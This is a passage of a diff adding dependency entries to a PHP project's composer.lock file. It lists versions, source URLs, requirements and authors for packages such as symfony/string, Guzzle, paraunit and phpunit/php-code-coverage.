"symfony/http-client": "^5.4|^6.0|^7.0", + "symfony/intl": "^6.2|^7.0", + "symfony/translation-contracts": "^2.5|^3.0", + "symfony/var-exporter": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "files": [ + "Resources/functions.php" + ], + "psr-4": { + "Symfony\\Component\\String\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", + "homepage": "https://symfony.com", + "keywords": [ + "grapheme", + "i18n", + "string", + "unicode", + "utf-8", + "utf8" + ], + "support": { + "source": "https://github.com/symfony/string/tree/v6.4.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-02-01T13:16:41+00:00" + } + ], + "packages-dev": [ + { + "name": "facile-it/paraunit", + "version": "2.3.1", + "source": { + "type": "git", + "url": "https://github.com/facile-it/paraunit.git", + "reference": "73dfb78ade299e8262faa837ff1684feefdcc3e6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/facile-it/paraunit/zipball/73dfb78ade299e8262faa837ff1684feefdcc3e6", + "reference": "73dfb78ade299e8262faa837ff1684feefdcc3e6", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-json": "*", + "jean85/pretty-package-versions": "^1.5.1||^2.0.1", + "php": "^8.1", + "phpunit/php-code-coverage": "^10.0||11.0", + "phpunit/php-file-iterator": "^4.0||5.0", + "phpunit/phpunit": "^10.5.4||^11.0", + "psr/event-dispatcher": "^1.0", + "symfony/console": "^4.4||^5.0||^6.0||^7.0", + "symfony/dependency-injection": "^4.4||^5.0||^6.0||^7.0", + "symfony/event-dispatcher": "^4.4||^5.0||^6.0||^7.0", + "symfony/process": "^4.4||^5.0||^6.0||^7.0", + "symfony/stopwatch": "^4.4||^5.0||^6.0||^7.0" + }, + "conflict": { + "composer/package-versions-deprecated": "<1.11.99" + }, + "require-dev": { + "facile-it/facile-coding-standard": "^1.0", + "jangregor/phpstan-prophecy": "^1.0.0", + "phpspec/prophecy": "dev-allow-phpunit-11 as 1.19", + "phpspec/prophecy-phpunit": "dev-allow-phpunit-11 as 2.2.0", + "phpstan/extension-installer": "^1.0", + "phpstan/phpstan": "^1.10.4", + "phpstan/phpstan-phpunit": "^1.1", + "phpunit/php-invoker": "^4.0||^5.0", + "psalm/plugin-phpunit": "^0.18", + "psalm/plugin-symfony": "^5.0", + "rector/rector": "^0.15", + "symfony/expression-language": "^4.4||^5.0||^6.0||^7.0", + "symfony/phpunit-bridge": "^6.4||^7.0", + "vimeo/psalm": "^5.5.0" + }, + "suggest": { + "dama/doctrine-test-bundle": "Useful for Symfony+Doctrine functional testing, providing DB isolation", + "ext-pcov": "A coverage driver for faster collection" + }, + "bin": [ + "src/Bin/paraunit" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-0.12.x": "0.12-dev" + } + }, + "autoload": { + "psr-4": { + "Paraunit\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Francesco Panina", + "email": "francesco.panina@gmail.com" + }, + { + "name": "Alessandro Lai", + "email": "alessandro.lai85@gmail.com" + } + ], + "description": "paraunit", + "homepage": "https://github.com/facile-it/paraunit", + "keywords": [ + "parallel test", + "phpunit", + "testing" + ], + "support": { + "issues": "https://github.com/facile-it/paraunit/issues", + "source": "https://github.com/facile-it/paraunit/tree/2.3.1" + }, + "time": "2024-02-06T09:05:40+00:00" + }, + { + "name": "guzzlehttp/guzzle", + "version": "7.8.1", + "source": { + "type": "git", + "url": "https://github.com/guzzle/guzzle.git", + "reference": "41042bc7ab002487b876a0683fc8dce04ddce104" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/guzzle/zipball/41042bc7ab002487b876a0683fc8dce04ddce104", + "reference": "41042bc7ab002487b876a0683fc8dce04ddce104", + "shasum": "" + }, + "require": { + "ext-json": "*", + "guzzlehttp/promises": "^1.5.3 || ^2.0.1", + "guzzlehttp/psr7": "^1.9.1 || ^2.5.1", + "php": "^7.2.5 || ^8.0", + "psr/http-client": "^1.0", + "symfony/deprecation-contracts": "^2.2 || ^3.0" + }, + "provide": { + "psr/http-client-implementation": "1.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "ext-curl": "*", + "php-http/client-integration-tests": "dev-master#2c025848417c1135031fdf9c728ee53d0a7ceaee as 3.0.999", + "php-http/message-factory": "^1.1", + "phpunit/phpunit": "^8.5.36 || ^9.6.15", + "psr/log": "^1.1 || ^2.0 || ^3.0" + }, + "suggest": { + "ext-curl": "Required for CURL handler support", + "ext-intl": "Required for Internationalized Domain Name (IDN) support", + "psr/log": "Required for using the Log middleware" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle is a PHP HTTP client library", + "keywords": [ + "client", + "curl", + "framework", + "http", + "http client", + "psr-18", + "psr-7", + "rest", + "web service" + ], + "support": { + "issues": "https://github.com/guzzle/guzzle/issues", + "source": "https://github.com/guzzle/guzzle/tree/7.8.1" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/guzzle", + "type": "tidelift" + } + ], + "time": "2023-12-03T20:35:24+00:00" + }, + { + "name": "guzzlehttp/promises", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/guzzle/promises.git", + "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/promises/zipball/bbff78d96034045e58e13dedd6ad91b5d1253223", + "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.36 || ^9.6.15" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\Promise\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle promises library", + "keywords": [ + "promise" + ], + "support": { + "issues": "https://github.com/guzzle/promises/issues", + "source": "https://github.com/guzzle/promises/tree/2.0.2" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/promises", + "type": "tidelift" + } + ], + "time": "2023-12-03T20:19:20+00:00" + }, + { + "name": "guzzlehttp/psr7", + "version": "2.6.2", + "source": { + "type": "git", + "url": "https://github.com/guzzle/psr7.git", + "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/psr7/zipball/45b30f99ac27b5ca93cb4831afe16285f57b8221", + "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "psr/http-factory": "^1.0", + "psr/http-message": "^1.1 || ^2.0", + "ralouphie/getallheaders": "^3.0" + }, + "provide": { + "psr/http-factory-implementation": "1.0", + "psr/http-message-implementation": "1.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "http-interop/http-factory-tests": "^0.9", + "phpunit/phpunit": "^8.5.36 || ^9.6.15" + }, + "suggest": { + "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\Psr7\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://sagikazarmark.hu" + } + ], + "description": "PSR-7 message implementation that also provides common utility methods", + "keywords": [ + "http", + "message", + "psr-7", + "request", + "response", + "stream", + "uri", + "url" + ], + "support": { + "issues": "https://github.com/guzzle/psr7/issues", + "source": "https://github.com/guzzle/psr7/tree/2.6.2" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/psr7", + "type": "tidelift" + } + ], + "time": "2023-12-03T20:05:35+00:00" + }, + { + "name": "jean85/pretty-package-versions", + "version": "2.0.5", + "source": { + "type": "git", + "url": "https://github.com/Jean85/pretty-package-versions.git", + "reference": "ae547e455a3d8babd07b96966b17d7fd21d9c6af" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Jean85/pretty-package-versions/zipball/ae547e455a3d8babd07b96966b17d7fd21d9c6af", + "reference": "ae547e455a3d8babd07b96966b17d7fd21d9c6af", + "shasum": "" + }, + "require": { + "composer-runtime-api": "^2.0.0", + "php": "^7.1|^8.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^2.17", + "jean85/composer-provided-replaced-stub-package": "^1.0", + "phpstan/phpstan": "^0.12.66", + "phpunit/phpunit": "^7.5|^8.5|^9.4", + "vimeo/psalm": "^4.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Jean85\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Alessandro Lai", + "email": "alessandro.lai85@gmail.com" + } + ], + "description": "A library to get pretty versions strings of installed dependencies", + "keywords": [ + "composer", + "package", + "release", + "versions" + ], + "support": { + "issues": "https://github.com/Jean85/pretty-package-versions/issues", + "source": "https://github.com/Jean85/pretty-package-versions/tree/2.0.5" + }, + "time": "2021-10-08T21:21:46+00:00" + }, + { + "name": "justinrainbow/json-schema", + "version": "v5.2.13", + "source": { + "type": "git", + "url": "https://github.com/justinrainbow/json-schema.git", + "reference": "fbbe7e5d79f618997bc3332a6f49246036c45793" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/justinrainbow/json-schema/zipball/fbbe7e5d79f618997bc3332a6f49246036c45793", + "reference": "fbbe7e5d79f618997bc3332a6f49246036c45793", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "~2.2.20||~2.15.1", + "json-schema/json-schema-test-suite": "1.2.0", + "phpunit/phpunit": "^4.8.35" + }, + "bin": [ + "bin/validate-json" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "JsonSchema\\": "src/JsonSchema/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bruno Prieto Reis", + "email": "bruno.p.reis@gmail.com" + }, + { + "name": "Justin Rainbow", + "email": "justin.rainbow@gmail.com" + }, + { + "name": "Igor Wiedler", + "email": "igor@wiedler.ch" + }, + { + "name": "Robert Schönthal", + "email": "seroscho@googlemail.com" + } + ], + "description": "A library to validate a json schema.", + "homepage": "https://github.com/justinrainbow/json-schema", + "keywords": [ + "json", + "schema" + ], + "support": { + "issues": "https://github.com/justinrainbow/json-schema/issues", + "source": "https://github.com/justinrainbow/json-schema/tree/v5.2.13" + }, + "time": "2023-09-26T02:20:38+00:00" + }, + { + "name": "keradus/cli-executor", + "version": "v2.1.0", + "source": { + "type": "git", + "url": "https://github.com/PHP-CS-Fixer/cli-executor.git", + "reference": "6d83d4367d15088cb61dbbd547173d3f926e0027" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHP-CS-Fixer/cli-executor/zipball/6d83d4367d15088cb61dbbd547173d3f926e0027", + "reference": "6d83d4367d15088cb61dbbd547173d3f926e0027", + "shasum": "" + }, + "require": { + "php": "^7.1.3 || ^8.0", + "symfony/process": "^4.4 || ^5 || ^6 || ^7" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^3.1", + "maglnet/composer-require-checker": "^2 || ^3", + "phpunit/phpunit": "^7.5.20 || ^8.5.14 || ^9.5", + "symfony/phpunit-bridge": "^5.3.7 || ^6 || ^7" + }, + "type": "library", + "autoload": { + "psr-4": { + "Keradus\\CliExecutor\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Dariusz Rumiński", + "email": "dariusz.ruminski@gmail.com" + } + ], + "description": "CLI execution wrapper", + "support": { + "issues": "https://github.com/PHP-CS-Fixer/cli-executor/issues", + "source": "https://github.com/PHP-CS-Fixer/cli-executor/tree/v2.1.0" + }, + "time": "2023-11-22T09:34:45+00:00" + }, + { + "name": "mikey179/vfsstream", + "version": "v1.6.11", + "source": { + "type": "git", + "url": "https://github.com/bovigo/vfsStream.git", + "reference": "17d16a85e6c26ce1f3e2fa9ceeacdc2855db1e9f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/bovigo/vfsStream/zipball/17d16a85e6c26ce1f3e2fa9ceeacdc2855db1e9f", + "reference": "17d16a85e6c26ce1f3e2fa9ceeacdc2855db1e9f", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.5|^5.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.6.x-dev" + } + }, + "autoload": { + "psr-0": { + "org\\bovigo\\vfs\\": "src/main/php" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Frank Kleine", + "homepage": "http://frankkleine.de/", + "role": "Developer" + } + ], + "description": "Virtual file system to mock the real file system in unit tests.", + "homepage": "http://vfs.bovigo.org/", + "support": { + "issues": "https://github.com/bovigo/vfsStream/issues", + "source": "https://github.com/bovigo/vfsStream/tree/master", + "wiki": "https://github.com/bovigo/vfsStream/wiki" + }, + "time": "2022-02-23T02:02:42+00:00" + }, + { + "name": "myclabs/deep-copy", + "version": "1.11.1", + "source": { + "type": "git", + "url": "https://github.com/myclabs/DeepCopy.git", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "conflict": { + "doctrine/collections": "<1.6.8", + "doctrine/common": "<2.13.3 || >=3,<3.2.2" + }, + "require-dev": { + "doctrine/collections": "^1.6.8", + "doctrine/common": "^2.13.3 || ^3.2.2", + "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" + }, + "type": "library", + "autoload": { + "files": [ + "src/DeepCopy/deep_copy.php" + ], + "psr-4": { + "DeepCopy\\": "src/DeepCopy/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Create deep copies (clones) of your objects", + "keywords": [ + "clone", + "copy", + "duplicate", + "object", + "object graph" + ], + "support": { + "issues": "https://github.com/myclabs/DeepCopy/issues", + "source": "https://github.com/myclabs/DeepCopy/tree/1.11.1" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", + "type": "tidelift" + } + ], + "time": "2023-03-08T13:26:56+00:00" + }, + { + "name": "nikic/php-parser", + "version": "v5.0.1", + "source": { + "type": "git", + "url": "https://github.com/nikic/PHP-Parser.git", + "reference": "2218c2252c874a4624ab2f613d86ac32d227bc69" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/2218c2252c874a4624ab2f613d86ac32d227bc69", + "reference": "2218c2252c874a4624ab2f613d86ac32d227bc69", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-json": "*", + "ext-tokenizer": "*", + "php": ">=7.4" + }, + "require-dev": { + "ircmaxell/php-yacc": "^0.0.7", + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0" + }, + "bin": [ + "bin/php-parse" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "psr-4": { + "PhpParser\\": "lib/PhpParser" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Nikita Popov" + } + ], + "description": "A PHP parser written in PHP", + "keywords": [ + "parser", + "php" + ], + "support": { + "issues": "https://github.com/nikic/PHP-Parser/issues", + "source": "https://github.com/nikic/PHP-Parser/tree/v5.0.1" + }, + "time": "2024-02-21T19:24:10+00:00" + }, + { + "name": "phar-io/manifest", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/phar-io/manifest.git", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-phar": "*", + "ext-xmlwriter": "*", + "phar-io/version": "^3.0.1", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", + "support": { + "issues": "https://github.com/phar-io/manifest/issues", + "source": "https://github.com/phar-io/manifest/tree/2.0.3" + }, + "time": "2021-07-20T11:28:43+00:00" + }, + { + "name": "phar-io/version", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/phar-io/version.git", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Library for handling version information and constraints", + "support": { + "issues": "https://github.com/phar-io/version/issues", + "source": "https://github.com/phar-io/version/tree/3.2.1" + }, + "time": "2022-02-21T01:04:05+00:00" + }, + { + "name": "php-coveralls/php-coveralls", + "version": "v2.7.0", + "source": { + "type": "git", + "url": "https://github.com/php-coveralls/php-coveralls.git", + "reference": "b36fa4394e519dafaddc04ae03976bc65a25ba15" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-coveralls/php-coveralls/zipball/b36fa4394e519dafaddc04ae03976bc65a25ba15", + "reference": "b36fa4394e519dafaddc04ae03976bc65a25ba15", + "shasum": "" + }, + "require": { + "ext-json": "*", + "ext-simplexml": "*", + "guzzlehttp/guzzle": "^6.0 || ^7.0", + "php": "^7.0 || ^8.0", + "psr/log": "^1.0 || ^2.0", + "symfony/config": "^2.1 || ^3.0 || ^4.0 || ^5.0 || ^6.0 || ^7.0", + "symfony/console": "^2.1 || ^3.0 || ^4.0 || ^5.0 || ^6.0 || ^7.0", + "symfony/stopwatch": "^2.0 || ^3.0 || ^4.0 || ^5.0 || ^6.0 || ^7.0", + "symfony/yaml": "^2.0.5 || ^3.0 || ^4.0 || ^5.0 || ^6.0 || ^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35 || ^5.4.3 || ^6.0 || ^7.0 || >=8.0 <8.5.29 || >=9.0 <9.5.23", + "sanmai/phpunit-legacy-adapter": "^6.1 || ^8.0" + }, + "suggest": { + "symfony/http-kernel": "Allows Symfony integration" + }, + "bin": [ + "bin/php-coveralls" + ], + "type": "library", + "autoload": { + "psr-4": { + "PhpCoveralls\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Kitamura Satoshi", + "email": "with.no.parachute@gmail.com", + "homepage": "https://www.facebook.com/satooshi.jp", + "role": "Original creator" + }, + { + "name": "Takashi Matsuo", + "email": "tmatsuo@google.com" + }, + { + "name": "Google Inc" + }, + { + "name": "Dariusz Ruminski", + "email": "dariusz.ruminski@gmail.com", + "homepage": "https://github.com/keradus" + }, + { + "name": "Contributors", + "homepage": "https://github.com/php-coveralls/php-coveralls/graphs/contributors" + } + ], + "description": "PHP client library for Coveralls API", + "homepage": "https://github.com/php-coveralls/php-coveralls", + "keywords": [ + "ci", + "coverage", + "github", + "test" + ], + "support": { + "issues": "https://github.com/php-coveralls/php-coveralls/issues", + "source": "https://github.com/php-coveralls/php-coveralls/tree/v2.7.0" + }, + "time": "2023-11-22T10:21:01+00:00" + }, + { + "name": "php-cs-fixer/accessible-object", + "version": "v1.1.0", + "source": { + "type": "git", + "url": "https://github.com/PHP-CS-Fixer/AccessibleObject.git", + "reference": "a08d2ad0ed28555cca941aa197610db8b45599bd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHP-CS-Fixer/AccessibleObject/zipball/a08d2ad0ed28555cca941aa197610db8b45599bd", + "reference": "a08d2ad0ed28555cca941aa197610db8b45599bd", + "shasum": "" + }, + "require": { + "php": "^5.6 || ^7.0 || ^8.0" + }, + "require-dev": { + "symfony/phpunit-bridge": "^5.1" + }, + "type": "application", + "autoload": { + "psr-4": { + "PhpCsFixer\\AccessibleObject\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Dariusz Rumiński", + "email": "dariusz.ruminski@gmail.com" + } + ], + "description": "A library to reveal object internals.", + "support": { + "issues": "https://github.com/PHP-CS-Fixer/AccessibleObject/issues", + "source": "https://github.com/PHP-CS-Fixer/AccessibleObject/tree/v1.1.0" + }, + "time": "2020-10-23T16:25:26+00:00" + }, + { + "name": "php-cs-fixer/phpunit-constraint-isidenticalstring", + "version": "v1.5.0", + "source": { + "type": "git", + "url": "https://github.com/PHP-CS-Fixer/phpunit-constraint-isidenticalstring.git", + "reference": "2c55d31fcbda32b48780cbeff87f188354813db0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHP-CS-Fixer/phpunit-constraint-isidenticalstring/zipball/2c55d31fcbda32b48780cbeff87f188354813db0", + "reference": "2c55d31fcbda32b48780cbeff87f188354813db0", + "shasum": "" + }, + "require": { + "php": "^7.0 || ^8.0", + "phpunit/phpunit": "^6.5.14 || ^7.5.20 || ^8.0 || ^9.0 || ^10.0 || ^11.0.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/Constraint/IsIdenticalString.php" + ], + "psr-4": { + "PhpCsFixer\\PhpunitConstraintIsIdenticalString\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Dariusz Rumiński", + "email": "dariusz.ruminski@gmail.com" + } + ], + "description": "Constraint for testing strings considering not-same line endings.", + "support": { + "issues": "https://github.com/PHP-CS-Fixer/phpunit-constraint-isidenticalstring/issues", + "source": "https://github.com/PHP-CS-Fixer/phpunit-constraint-isidenticalstring/tree/v1.5.0" + }, + "time": "2024-02-04T19:08:54+00:00" + }, + { + "name": "php-cs-fixer/phpunit-constraint-xmlmatchesxsd", + "version": "v1.5.0", + "source": { + "type": "git", + "url": "https://github.com/PHP-CS-Fixer/phpunit-constraint-xmlmatchesxsd.git", + "reference": "db3feb2b6d2cf5cd18f7053c6aa60a21dccf18d3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHP-CS-Fixer/phpunit-constraint-xmlmatchesxsd/zipball/db3feb2b6d2cf5cd18f7053c6aa60a21dccf18d3", + "reference": "db3feb2b6d2cf5cd18f7053c6aa60a21dccf18d3", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "php": "^7.0 || ^8.0", + "phpunit/phpunit": "^6.5.14 || ^7.5.20 || ^8.0 || ^9.0 || ^10.0 || ^11.0.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/Constraint/XmlMatchesXsd.php" + ], + "psr-4": { + "PhpCsFixer\\PhpunitConstraintXmlMatchesXsd\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "SpacePossum" + }, + { + "name": "Dariusz Rumiński", + "email": "dariusz.ruminski@gmail.com" + } + ], + "description": "Constraint for testing XML against XSD.", + "support": { + "issues": "https://github.com/PHP-CS-Fixer/phpunit-constraint-xmlmatchesxsd/issues", + "source": "https://github.com/PHP-CS-Fixer/phpunit-constraint-xmlmatchesxsd/tree/v1.5.0" + }, + "time": "2024-02-04T19:08:56+00:00" + }, + { + "name": "phpunit/php-code-coverage", + "version": "10.1.11", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-code-coverage.git", + "reference": "78c3b7625965c2513ee96569a4dbb62601784145" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/78c3b7625965c2513ee96569a4dbb62601784145", + "reference": "78c3b7625965c2513ee96569a4dbb62601784145", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "ext-xmlwriter": "*", + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=8.1", + "phpunit/php-file-iterator": "^4.0", + "phpunit/php-text-template": "^3.0", + "sebastian/code-unit-reverse-lookup": "^3.0", + "sebastian/complexity": "^3.0", + "sebastian/environment": "^6.0", + "sebastian/lines-of-code": "^2.0", + "sebastian/version": "^4.0", + "theseer/tokenizer": "^1.2.0" + }, + "require-dev": { + "phpunit/phpunit": "^10.1" + }, + "suggest": { + "ext-pcov": "PHP extension that provides line coverage", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "10.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", + "homepage": "https://github.com/sebastianbergmann/php-code-coverage", + "keywords": 